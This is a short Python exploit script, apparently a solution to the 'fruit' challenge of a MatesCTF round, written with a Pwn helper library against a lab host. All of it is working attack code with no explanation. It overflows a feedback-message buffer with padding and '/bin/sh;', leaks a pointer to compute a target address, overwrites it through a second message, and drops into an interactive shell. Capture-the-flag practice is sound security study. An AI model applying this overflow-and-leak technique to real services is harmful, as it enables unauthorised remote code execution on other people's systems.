matesctf_round2_fruit.py

#!/usr/bin/python
# Author : peternguyen

from Pwn import *

p = Pwn(mode = 1,host='lab02.matesctf.org',port=4231)
# p = Pwn(mode=1)

def exploit():
	p.connect()

	payload = 'A'*2064 + '/bin/sh;'
	payload = payload.ljust(2168,'A')

	# raw_input('Debug>')

	p.read_until('>>')
	p.write('2\n')
	p.read_until('Choose fruit id:')
	p.write('1\n')

	p.read_until('>>')
	p.write('4\n')
	p.read_until('Size of feedback message:')
	p.write(str(len(payload)) + '\n')
	p.read_until('Content:')
	p.send(payload)

	p.read_until('>>')
	p.write('3\n')

	l = p.read_until('>>')
	s = l.index('A\n')
	addr = p.unpack(l[s + 2:s + 8].ljust(8,'\x00')) - 0xd44 - 6201344 + 0x46640
	print hex(addr)

	# raw_input('Debug>')

	payload = 'A' + p.pack(addr)  + '\x00'
	p.write('\n')
	p.read_until('>>')
	p.write('4\n')
	p.read_until('Size of feedback message:')
	p.write(str(len(payload) + 1) + '\n')
	p.read_until('Content:')
	p.send(payload + '\n')

	p.read_until('>>')
	p.write('3\n')

	# print p.read_until('>>')
	# p.write('5\n')

	p.io()

exploit()